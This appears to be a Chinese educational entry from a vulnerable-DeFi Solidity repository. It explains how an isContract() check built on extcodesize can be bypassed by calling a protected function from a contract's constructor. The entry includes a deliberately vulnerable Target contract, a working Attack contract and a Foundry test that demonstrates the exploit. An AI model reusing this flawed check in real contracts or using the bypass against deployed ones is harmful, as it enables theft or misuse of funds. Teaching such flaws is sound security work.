名称:
绕过isContract()校验
https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:
出于安全原因,某些智能合约方法被定义为只接受来自外部自有账户(EOA)的调用,而不接受来自其他智能合约的调用。
依赖于extcodesize方法来实现检查存储代码的大小,我们可以确定给定地址是已部署的智能合约还是账户(EOA),但是这存在漏洞,很容易被攻击者绕过。
在合约构造函数执行期间,被部署的智能合约的extcodesize将返回零。在智能合约创建过程结束之前,地址中不存在代码。
过程:
1、部署Target 合约。
2、部署Attack合约 ,使用foundry模拟攻击。在Attack构造函数内部,Target被调用了Protected()方法。鉴于Attack仍在其部署过程中,在isContract()方法中检查的Attack地址的extcodesize为零。这样,Attack合约就有可能绕过这个检查并成功进行攻击。
解决方法:
检查目标地址是否未未合约是有用的,例如,防止用户将资金或代币转移到可能使其永久锁定的合约中。当函数出于安全原因要求调用者是帐户(EOA)时,我们应该避免依赖此方法。
如果目的是防止来自其他合约的调用,(tx.Origin == msg.sender)可以使用,尽管它也有缺点和潜在的漏洞。
合约:
javascript
contract Target {
function isContract(address account) public view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
javascript
contract Attack {
bool public isContract;
address public addr;
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
Target(_target).protected();
}
}
foundry合约:
javascript
function testBypassContractCheck() public {
console.log("Before exploiting, protected status of TargetContract:", TargetContract.pwned());
AttackerContract = new Attack(address(TargetContract));
console.log("After exploiting, protected status of TargetContract:", TargetContract.pwned());
console.log("Exploit completed");
}